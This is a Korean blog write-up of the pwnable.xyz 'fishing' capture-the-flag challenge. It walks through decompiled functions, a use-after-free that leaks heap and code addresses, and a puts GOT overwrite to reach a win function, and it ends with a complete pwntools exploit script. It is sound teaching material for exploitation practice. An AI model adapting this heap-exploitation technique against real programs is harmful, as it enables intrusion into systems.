Pwnstar

pwnable.xyz fishing 본문

Wargame/pwnable.xyz

pwnable.xyz fishing

포너블처돌이 2020. 12. 19. 21:02

라업을 보고 풀었음. 라업을 보고 풀게 되면 아무래도 내가 스스로 푼 문제보다 기억에도 덜 남고, 놓치고 가는 부분이 많아서 좀 더 꼼꼼하게 분석을 하고 넘어가려고 한다.

요 문제는 16.04에서 풀어보는 것을 추천함...

relro가 partial이라 got overwrite가 가능하다.

1.코드분석

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  setup(*(_QWORD *)&argc, argv, envp);
  banner();
  while ( 1 )
  {
    show_menu();
    switch ( (unsigned int)read_int() )
    {
      case 1u:
        add_group_member();
        break;
      case 2u:
        modify_group_member();
        break;
      case 3u:
        write_in_book();
        break;
      case 4u:
        go_fishing();
        break;
      case 5u:
        stop_fishing();
        break;
      case 6u:
        puts("Bye. I'm keeping the deposit");
        return 0;
      default:
        err("Invalid choice");
        return result;
    }
  }
}

메인함수는 별 것 없다. 메뉴에서 해당하는 함수를 호출해줄 수 있음.

add_group_member

int add_group_member()
{
  void **v0; // rbx
  int v1; // eax
  __int64 v2; // rcx
  int result; // eax

  if ( group_size[0] > 5 )
    return puts("You would sink the boat with that many people");
  v0 = (void **)malloc(0x20uLL);
  *v0 = malloc(0x18uLL);
  __printf_chk(1LL, "Name: ");
  read_string(*v0);
  v0[1] = malloc(0x18uLL);
  __printf_chk(1LL, "Job: ");
  read_string(v0[1]);
  __printf_chk(1LL, "Age: ");
  v1 = read_int();
  v2 = group_size[0];
  *((_DWORD *)v0 + 4) = v1;
  group[v2] = v0;
  result = v2 + 1;
  group_size[0] = v2 + 1;
  return result;
}

group member는 4명까지만 만들 수 있다. 첫번째 조건문에 5보다 크면 안되는 것으로 나와있긴 한데, setup함수에서 이미 한명의 member를 만들어 놓은 상태.

먼저 0x20의 사이즈로 할당을 맏은 후 그 곳의 +0과 +8의 위치에 name과 job이 들어가는 주소를 0x18만큼 할당하여 넣어준다.

나이는 처음 name과 job의 주소 다음에 들어감. 이렇게 할당해주면 다음과 같은 메모릭 구조가 된다.

빨간 테두리에 있는 값들이 name과 job이 들어 있는 주소, 그리고 아래 파란 테두리에 나이가 들어있음.

modify_group_member

int modify_group_member()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  int result; // eax

  puts("Which person do you need to change?");
  v0 = read_int("Which person do you need to change?");
  if ( v0 > 5 )
    return puts("A group member can only be 0-5");
  v1 = group[v0];
  if ( !v1 )
    return puts("That person doesn't exist");
  __printf_chk(1LL, "Name: ");
  read_string(*(void **)v1);
  __printf_chk(1LL, "Job: ");
  read_string(*(void **)(v1 + 8));
  __printf_chk(1LL, "Age: ");
  result = read_int(1LL);
  *(_DWORD *)(v1 + 16) = result;
  return result;
}

인덱스를 입력해서 해당 인덱스의 group member의 이름과 직업, 나이를 다시 입력할 수 있음 여기서 oob가 발생하려나 했는데 그렇게 쉽진 않았다.

write_in_book

__int64 write_in_book()
{
  void *v0; // rax

  puts("What do you want to say?");
  v0 = malloc(0x20uLL);
  return read_string(v0);
}

0x20의 사이즈만큼 할당을 받고, 입력을 받을 수 있는 함수이다.

go_fishing

unsigned __int64 go_fishing()
{
  __int64 v1; // [rsp+0h] [rbp-18h]
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  if ( fishing )
  {
    puts("You're group is already fishing, wait until they come back");
  }
  else if ( group_size[0] <= 1 )
  {
    puts("You need 2 or more people to fish");
  }
  else
  {
    fishing = 1;
    pthread_create((pthread_t *)&v1, 0LL, (void *(*)(void *))gone_fishing, 0LL);
    puts("You're group has now left to catch some fish");
  }
  return __readfsqword(0x28u) ^ v2;
}

fishing 전역변수의 값이 0이고, group이 2명 이상이면 쓰레드를 생성하여 gone_fishing함수를 실행해준다.

gone_fishing

void *__fastcall gone_fishing(void *a1)
{
  int v1; // ebx
  __int64 v2; // rdx

  if ( pthread_mutex_lock(&mutex) )
    err("Fatal locking");
  v1 = group_size[0] - 1;
  puts("\n!!!!ALERT!!!");
  v2 = *(_QWORD *)group[v1];
  __printf_chk(1LL, "%s has fallen over board\n");
  puts("We are trying to save them");
  remove_person(v1);
  if ( pthread_cond_wait(&cond, &mutex) )
    err("Fatal");


//5
  puts("\nOk we are coming back. Btw they died...");
  --group_size[0];
  fishing = 0;
  if ( pthread_mutex_unlock(&mutex) )
    err("Fatal unlocking");
  return 0LL;
}

4를 입력했을 때 실행되는 함수이다. 주석 위에 조건문에서 pthread_cond_wait함수로 쓰레드를 재운다.

여기서는 또 remove_person함수를 실행하는데,

remove_person

void __fastcall remove_person(int a1)
{
  void **v1; // rbx

  v1 = (void **)group[a1];
  if ( v1 )
  {
    free(*v1);
    free(v1[1]);
    free(v1);
  }
}

free해주는 함수라고 생각하면 된다.

stop_fishing

int stop_fishing()
{
  int result; // eax

  if ( !fishing )
    return puts("You're group is not fishing");
  result = pthread_cond_signal(&cond);
  if ( result )
    err("Fatal signaling");
  return result;
}

fishing 변수의 값이 1이면 쓰레드를 깨워서 앞서 gone_fishing함수의 주석 부분부터 실행된다.

자 이제 코드 분석은 어느정도 마쳤다. 주의해야할 점이라면 4번으로 낚시를 보낸 후, 5를 입력해야 쓰레드가 종료되면서 free된게 보이는 듯하다.

그리고 free를 진행후 메모리를 초기화시키지 않아 UAF가 가능하고, add_group_member에서 group전역변수에 주소를 써 주고, free한 후에 group에서 주소를 지우지 않아 이 부분때문에 주소를 leak할 수 있을 것 같다.

heap address leak

name에 "A"*8을 job에 "B"*8을 나이에 16을 입력했을 때의 메모리이다.

이 상태에서 free를 진행하면

이름 chunk의 fd에 직업 chunk의 주소가 쓰여있음

이 주소가 재할당 받는 곳으로 쓰이게 된다.

이 상태에서 add_group_member함수를 한번 더 호출시켜 "C", "D", 32를 입력하면

이런 식의 주소가 되는데, 여기서 offset만큼 빼 주면 heap 주소의 base를 구할 수 있다.

그으런데 libc나 code 영역의 base를 구해야 win함수를 호출하든가 하는데.... 이 base값을 못구하겠다 그래서

https://rninche01.tistory.com/entry/Pwnablexyz-fishing

요 라업을 많이 참고했음.

시나리오는 이렇게 짰다.

  • 2개를 malloc후 하나를 free함. 이 떄 free한 영역의 job에는 name의 주소가 들어있음
  • 다시 하나를 malloc해서 name의 주소가 한 바이트만 덮이게끔 해 주고, 다시 free를 진행하면 heap base 주소를 leak할 수 있음.
  • puts_got를 win함수로 덮기 위해서 heap에 존재하는 rodata의 영역 주소를 leak할 것임. 이 부분은 코드영역의 주소이므로 이 base 주소를 구하면 puts got와 win함수 주소 모두 구할 수 있다.
  • 앞서 heap base주소를 leak하기 위해 free를 진행한 후 또 하나를 malloc해준다. 앞서 free한 주소에 다시 할당받게 됨
  • 이후 free를 진행하고 5를 입력하기 전에 book메뉴로 free한 영역에 공간을 할당받고, 이 부분을 처음 할당받은 곳의 주소를 가리키게끔 수정해줌(leak된 heap 주소 이용) 빨간 테두리가 있는 주소를 보면 AAAAAAAAA가 저장된 첫번째 주소가 있는 곳을 가리키고 있다.
  • 위의 과정으로 이제 "AAAAAAAAA"가 가리키는 주소를 다른 주소로 수정할 수 있게 됨.
  • modify함수로 code영역의 주소가 있는 곳을 가리키게끔 수정을 진행한다.
  • A의 name을 가리키고 있어야할 곳이 코드영역의 주소가 적힌 주소를 가리키고 있음
  • 여기서 이제 다시 free를 진행하면 code영역의 주소를 leak하는 것이 가능해진다
  • 이제 아까와 비슷한 방식으로 overwrite를 진행해보자 modiy로 처음엔 A의 name의 영역에 puts함수의 got를 입력한다.
  • 이제 첫번째 malloc받은 영역을 수정하면 puts의 got를 수저할 수 있다.

ex.py

from pwn import*

context(log_level='DEBUG', arch='amd64',os="linux")

p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30045)

pie = p.libs()["/home/pwnstar/wargame/pwnablexyz/fishing/challenge"]
script = '''
b*{}
b*{}
'''.format(hex(pie+0xD62), hex(pie+0xD22))
gdb.attach(p, script)


def add(name, job, age):
    p.sendlineafter("> ", "1")
    p.sendafter(": ", name)
    p.sendafter(": ", job)
    p.sendlineafter(": ", str(age))

def modify(num, name, job, age):
    p.sendline("2")
    p.sendlineafter("change?\n", str(num))
    p.sendafter(": ", name)
    p.sendafter(": ", job)
    p.sendlineafter(": ", str(age))

def book(memo):
    p.sendlineafter("> ", "3")
    p.sendafter("to say?\n", memo)

def fishing():
    p.sendlineafter("> ", "4")
    p.sendlineafter("> ", "5")

#heap base leak
add("A"*16, "A"*16, 1) 
add("B"*16, "B"*16, 2)

fishing()
add("A", "A", 1)
p.sendlineafter("> ", "4")
p.recvuntil("!!!\n")
heap = u64(p.recvuntil(" has").replace(" has", "") + "\x00\x00") & 0xfffffffffffff000
log.info(hex(heap))
p.sendline("5")

add("D", "D", 2)

#leak rodata address
log.info("ok")
p.sendlineafter("> ", "4")
book(p64(heap+0x40) + p64(heap+0x60))
modify(2, p64(heap+0x10), "\x00", 4)
p.sendlineafter("> ", "5")

p.sendline("4")
p.recvuntil("!!!\n")
data = u64(p.recvuntil(" has").replace(" has", "") + "\x00\x00") - 0x000000000000156A
log.info(hex(data))
win = data + 0xFC0
puts_got = data + 0x202028
log.info("puts got = " + hex(puts_got))
log.info("win = " + hex(win))
p.sendline("5")

log.info("no problem?")

#overwrite puts_got -> win
p.sendlineafter("> ", "4")
modify(2, p64(puts_got), "\x00", 4)
modify(1, p64(win), "\x00", 5)

add("B", "B", 6)

p.interactive()

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz adultvm  (0) 2020.12.21
pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz babyvm  (0) 2020.12.17
pwnable.xyz knum  (0) 2020.12.15
pwnable.xyz pve  (0) 2020.12.15
Comments